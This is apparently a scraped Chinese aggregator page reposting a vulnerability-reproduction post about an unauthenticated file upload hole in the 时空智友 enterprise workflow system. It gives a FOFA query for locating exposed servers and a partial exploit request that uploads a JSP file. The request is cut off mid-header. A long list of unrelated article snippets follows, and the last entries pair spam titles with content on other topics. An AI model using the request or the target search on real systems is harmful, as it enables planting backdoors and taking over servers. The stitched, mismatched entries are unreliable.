当前位置： 首页 > news >正文

【漏洞复现】时空智友企业流程化管控系统文件上传

news 文章来源：https://blog.csdn.net/u010025272/article/details/132744379 2025/2/7 15:00:17

漏洞描述

通过时空智友该系统，可让企业实现流程的自动化、协同上提升、数据得洞察及决策得优化，来提高工作效率、管理水平及企业的竞争力。时空智友企业流程化 formservice接口处存有任意文件上传漏洞，未经认证得攻击者可利用此接口上传后门程序，可导致服务器失陷。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

fofa：app=“时空智友V10.1”

漏洞复现

POST /formservice?service=attachment.write&isattach=false&filename=yb.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Lang

相关文章：

【漏洞复现】时空智友企业流程化管控系统文件上传

漏洞描述 通过时空智友该系统，可让企业实现流程的自动化、协同上提升、数据得洞察及决策得优化，来提高工作效率、管理水平及企业的竞争力。时空智友企业流程化 formservice接口处存有任意文件上传漏洞，未经认证得攻击者可利用此接口上传后门程序，可导致服务器失陷。 免责…...

编程日记 2023/9/8 8:07:53

elasticsearch的DSL查询文档

DSL查询分类 查询所有：查询出所有数据，一般测试用。例如：match_all 全文检索（full text）查询：利用分词器对用户输入内容分词，然后去倒排索引库中匹配。例如： match_query multi_ma…...

编程日记 2023/9/8 8:06:52

IP地址、子网掩码、网络地址、广播地址、IP网段

文章目录 IP地址IP地址分类子网掩码网络地址广播地址IP网段 本文主要讨论iPv4地址。 IP地址 实际的 IP 地址是一串32 比特的数字，按照 8 比特（1 字节）为一组分成 4 组，分别用十进制表示然后再用圆点隔开，这就是我们平…...

编程日记 2023/9/8 8:05:51

ffmpeg-android studio创建jni项目

一、创建native项目 1.1、选择Native C 1.2、命名项目名称 1.3、选择C标准 1.4、项目结构 1.5、app的build.gradle plugins {id com.android.application }android {compileSdk 32defaultConfig {applicationId "com.anniljing.ffmpegnative"minSdk 25targetSdk 32…...

编程日记 2023/9/8 8:04:50

智慧公厕是将数据、技术、业务深度融合的公共厕所敏捷化“操作系统”

文明社会的进步离不开公共设施的不断创新和提升。而在这些公共设施中，公共厕所一直是一个备受关注和改善的领域。近年来，随着智慧城市建设的推进，智慧公厕成为了城市管理的重要一环。智慧公厕不仅仅是为公众提供方便和舒适的便利设施&#xf…...

编程日记 2023/9/8 8:03:48

JVM中JAVA对象和数组内存布局

对象 数组 在Java中，所有的对象都是一种特殊的数组，它们的元素可以是基本数据类型、其他对象引用或者其他任何类型。Java对象和数组的内存布局包含以下部分： 1.对象头（Object Header） 每个Java对象都有一个对象头&am…...

编程日记 2023/9/8 8:02:48

【2023年数学建模国赛】赛题发布

2023数学建模国赛赛题已经发布啦，距离赛题发布已经过去三个小时了，大家是否已经确定题目呢？学姐后续会持续更新赛题思路与代码~...

编程日记 2023/9/8 8:01:47

Java HashMap源码学习

Java HashMap源码学习 基本使用 包含创建&#xff0c;添加&#xff0c;删除&#xff0c;迭代&#xff0c;打印 val map java.util.HashMap<Int, Int>() map.put(1, 2) map.put(2, 2) map.put(3, 2) map.remove(1) map.forEach {println("it.key${it.key}, it.va…...

编程日记 2023/9/8 8:00:46

Gin中用于追踪用户的状态的方法?!!!

Gin中的Cookie和Session的用法 文章目录 Gin中的Cookie和Session的用法介绍Cookie代码演示 Session代码展示 介绍 cookie 和 session 是 Web 开发中常用的两种技术&#xff0c;主要用于跟踪用户的状态信息。 Cookie func (c *Context) Cookie(name string, value string, max…...

编程日记 2023/9/8 7:59:44

HTTP代理与HTTPS代理在工作流程上有哪些区别

HTTP代理和HTTPS代理都是常见的代理技术&#xff0c;可以实现隐藏客户端IP地址、突破网络封锁、加速网站访问、过滤网络内容等功能。本文将介绍HTTP代理和HTTPS代理在工作流程上的区别。 HTTP代理的工作流程 客户端向代理服务器发送HTTP请求 当客户端需要访问某个网站时&#x…...

编程日记 2023/9/8 7:58:43

Docker从认识到实践再到底层原理（二-2）｜Namespace+cgroups

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…...

编程日记 2023/9/8 7:57:42

算法的概述

算法分析&#xff1a; 解决同一问题的算法可以有多种。 我们希望从中选出最优的算法&#xff0c;效率高或者存储空间小。为此&#xff0c;需要对算法进行评估&#xff0c;分析。 通常考虑两个度量&#xff1a; 1、 时间复杂度&#xff1a;算法运行时需要的总步数&#xff0c…...

编程日记 2023/9/8 7:56:41

菜鸟教程《Python 3 教程》笔记（19）：错误与异常

菜鸟教程《Python 3 教程》笔记&#xff08;19&#xff09; 19 错误和异常19.1 assert&#xff08;断言&#xff09;19.2 异常处理19.2.1 try/except19.2.2 try/except...else19.2.3 try-finally 语句 19.3 抛出异常19.4 用户自定义异常19.5 清理行为19.5.1 定义清理行为19.5.2…...

编程日记 2023/9/8 7:55:39

空气净化器上亚马逊美国站需要办理什么认证？空气净化器UL867测试报告如何办理？

空气净化器又称“空气清洁器”、空气清新机、净化器&#xff0c;是指能够吸附、分解或转化各种空气污染物&#xff08;一般包括PM2.5、粉尘、花粉、异味、甲醛之类的装修污染、细菌、过敏原等&#xff09;&#xff0c;有效提高空气清洁度的产品&#xff0c;主要分为家用 、商用…...

编程日记 2023/9/8 7:54:38

SpringBoot的测试方案

写完代码后&#xff0c;测试是必不可少的步骤&#xff0c;现在来介绍一下基于SpringBoot的测试方法。 基于SpringBoot框架写完相应功能的Controller之后&#xff0c;然后就可以测试功能是否正常&#xff0c;本博客列举MockMvc和RestTemplate两种方式来测试。 准备代码 实体类…...

编程日记 2023/9/8 7:53:37

华为OD机考算法题：字符串解密

目录 题目部分 解读与分析 代码实现 题目部分 题目字符串解密题目说明给定两个字符串string1和string2。 string1是一个被加扰的字符串。string1由小写英文字母&#xff08;a~z&#xff09;和数字字符&#xff08;0~9&#xff09;组成&#xff0c;而加扰字符串由0~9、a~f 组…...

编程日记 2023/9/8 7:52:33

unity 锚点设置

锚点聚合情况&#xff1a; 一个2d物体的位置 pos x pos y 是中心点相对于锚点的偏移量&#xff1a; 中心点就是位置。 按住shift 锚点和中心点都会被设置&#xff1a; 按住Alt&#xff1a; 同时按住shift和alt &#xff1a; 中心点 锚点 UI元素在对应的位置上。 锚点拉伸情况…...

编程日记 2023/9/8 7:51:33

Hadoop：HDFS--分布式文件存储系统

目录 HDFS的基础架构 VMware虚拟机部署HDFS集群 HDFS集群启停命令 HDFS Shell操作 hadoop 命令体系&#xff1a; 创建文件夹 -mkdir 查看目录内容 -ls 上传文件到hdfs -put 查看HDFS文件内容 -cat 下载HDFS文件 -get 复制HDFS文件 -cp 追加数据到HDFS文件中 -appendTo…...

编程日记 2023/9/8 7:50:31

自定义封装异步任务组件，实现FutureTask功能

FutureTask 在 JDK1.8 后的异步编排API中的CompletableFuture&#xff0c;提供了 异步任务的成功回调、异常回调。 public class FutureTaskTest {public static void main(String[] args) throws Exception {CompletableFuture<String> future CompletableFuture.sup…...

编程日记 2023/9/8 7:49:31

【区块链 | IPFS】IPFS节点搭建、文件上传、节点存储空间设置、节点上传文件chunk设置

一、创建ipfs节点 通过ipfs init在本地计算机建立一个IPFS节点 本文有些命令已经执行过了&#xff0c;就没有重新初始化。部分图片拷贝自先前文档&#xff0c;具体信息应以实物为准 ipfs init initializing IPFS node at /Users/CHY/.ipfs generating 2048-bit RSA keypair.…...

编程日记 2023/9/8 7:48:30

【autodesk】浏览器中渲染rvt模型

使用Forge完成渲染 Forge是什么 为什么能够渲染出来rvt模型 Forge是由Autodesk开发的一套云端开发平台和工具集。在Forge平台中&#xff0c;有一个名为"Model Derivative"的服务&#xff0c;它可以将包括RVT&#xff08;Revit&#xff09;在内的多种BIM&#xff08…...

编程日记 2023/9/8 7:47:29

Python超入门（1）__迅速上手操作掌握Python

# 1.第一个代码&#xff1a;输出语句 # 1.第一个代码&#xff1a;输出语句 print("My dogs name is Huppy!") print(o----) print( ||| ) print("*" * 10) """ 输出结果&#xff1a; My dogs name is Huppy! o----||| ********** "&…...

编程日记 2023/9/8 7:46:27

后端面试话术集锦第 十四 篇：go语言面试话术

这是后端面试集锦第十四篇博文——go语言面试话术❗❗❗ 1. go数组、切片、扩容 go的数组和切片都是用来存储相同类型的数据集合。 数组是存储固定大小的集合，且为值引用。 但切片是存储无固定大小的集合，且为引用类型。 切片有三个属性，分别为指向指针的数组array，数组…...

编程日记 2023/9/8 7:45:26

Oralce集群管理-19C RAC 私有网络调整为BOND1

1 尝试在线添加私有网络的新接口 是否成功。 使用oifcfg命令在线添加新的网卡接口&#xff0c;在还没有配置bond1的条件下 也是可以添加成功的。 [gridorcldb1 ~]$ oifcfg getif eno3 192.168.224.0 global public ens3f0 10.2.0.0 global cluster_interconnect,asm eno…...

编程日记 2023/9/8 7:44:25

洛谷 Array 数论

题目&#xff1a; 对于长度为n的数组A&#xff0c;A中只包含从1到n的整数&#xff08;可重复&#xff09;。如果A单调不上升或单调不下降&#xff0c;A就可称为美丽的。 找出在长度为n时&#xff0c;有几个美丽的A。 思路&#xff1a; 这是一道数论题。 我们先找找“单调不递…...

编程日记 2023/9/8 7:43:24

简明SQL条件查询指南：掌握WHERE实现数据筛选

条件查询是用于从数据库中根据特定条件筛选数据行的一种方式&#xff0c;它避免了检索整个表中的数据。通常&#xff0c;使用 WHERE 子句来定义过滤条件&#xff0c;只有符合这些条件的数据行才会被返回。 SQL中的运算符有&#xff1a;、!、<、> 等&#xff0c;用于进行…...

编程日记 2023/9/8 7:42:23

通过HbaseClient来写Phoenix表实现

由于数据存储在Hbase上&#xff0c;并且上层使用了Phoenix来读写数据。并且由于数据的列字段不固定&#xff0c;并且可能由于Hbase表列和Phoenix的表列字段不一致&#xff0c;使用Phoenix写入的数据会导致写出报错的问题出现。所以这里直接使用HbaseClient写入到Hbase表中&…...

编程日记 2023/9/8 7:41:22

uniapp qiun charts H5使用echarts的eopts配置不生效

原因是&#xff1a;使用web的要设置 echartsH5 :echartsH5"true" <template><view class"charts-box"><view class"chart-title"> 趋势</view><qiun-data-chartstype"column":eopts"eopts":cha…...

编程日记 2023/9/8 7:40:21

嵌入式Linux驱动开发（LCD屏幕专题）（三）

1. 硬件相关的操作 LCD驱动程序的核心就是&#xff1a; 分配fb_info设置fb_info注册fb_info硬件相关的设置 硬件相关的设置又可以分为3部分&#xff1a; 引脚设置时钟设置LCD控制器设置 2. 在设备树里指定LCD参数 framebuffer-mylcd {compatible "100ask,lcd_drv&qu…...

编程日记 2023/9/8 7:39:20

MySQL视图用户管理

文章目录 视图视图的规则用户用户信息创建用户删除用户修改密码 用户权限给用户授权回收权限 视图 视图是一个虚拟表&#xff0c;其内容由查询定义。同真实的表一样&#xff0c;视图包含一系列带有名称的列和行数据。视图的数据变化会影响到基表&#xff0c;基表的数据变化也会…...

编程日记 2023/9/8 7:38:19

企业电子商务网站/怎么去做推广

目录一.基础二.一元函数求解&#xff08;1&#xff09;代码&#xff08;2&#xff09;结果&#xff08;3&#xff09;分析三.二元函数求解&#xff08;1&#xff09;代码&#xff08;2&#xff09;结果一.基础 梯度下降法是一个一阶最优化算法&#xff0c;它需要用到函数的一阶…...

编程日记 2025/2/7 7:43:24

简单网站 快速建设/重庆网络seo

js中的对象是引用类型 使用 / 已经无法判断两个对象的属性和值是否相等 函数封装 // 对比两个对象的值是否完全相等 返回值 true/false let isObjectValueEqual (a, b)>{ //取对象a和b的属性名var aProps Object.getOwnPropertyNames(a);//返回指定对象所有自身属…...

编程日记 2025/2/7 7:23:14

网站权重6了该则么做优化方案/电视剧排行榜

本节书摘来自异步社区《Python 3程序开发指南&#xff08;第2版•修订版&#xff09;》一书中的第2章&#xff0c;第2.3节&#xff0c;作者[英]Mark Summerfield&#xff0c;王弘博&#xff0c;孙传庆 译&#xff0c;更多章节内容可以访问云栖社区“异步社区”公众号查看。 2.3…...

编程日记 2025/2/7 4:53:00

做网站的职位叫什么/公司网站建设服务

在后端,我将货币值存储在Money类中,该类包装了BigDecimal,并且将舍入设置为使用等级8的一半.所有基本操作都正常工作并且按预期运行.但是我需要以2的比例向用户显示这些值,这会给我带来四舍五入的错误.例如,我在后端有这些值&#xff1a;a 109.11432b 9015.57069c 9124.6850…...

编程日记 2025/2/7 3:48:18

深圳 网站设计 公司/公司产品怎样网上推广

PDF猫CAD转PDF官方版是一款十分优秀的转换工具&#xff0c;把CAD文件转换成为pdf文件的工具&#xff0c;支持拖放转换&#xff0c;可以批量对文件进行操作&#xff0c;是一款非常不错的CAD转PDF软件&#xff0c;有需要的用户可以下载使用。软件特色cad转pdf软件使用功能PDF猫CA…...

编程日记 2025/2/7 2:00:26

网站开发软件下载/如何建立网站平台

文章目录槽点快捷键修改方法Visual Studio 转战 VSCode 啦槽点 用惯了eclipse方式的快捷键&#xff0c;所以一时接受不了Visual Studio 2017 的快捷键方式 原本注释快捷键&#xff1a; 注释&#xff1a; 先CTRLK&#xff0c;然后CTRLC取消注释&#xff1a; 先CTRLK&#xff…...

编程日记 2025/2/7 1:36:15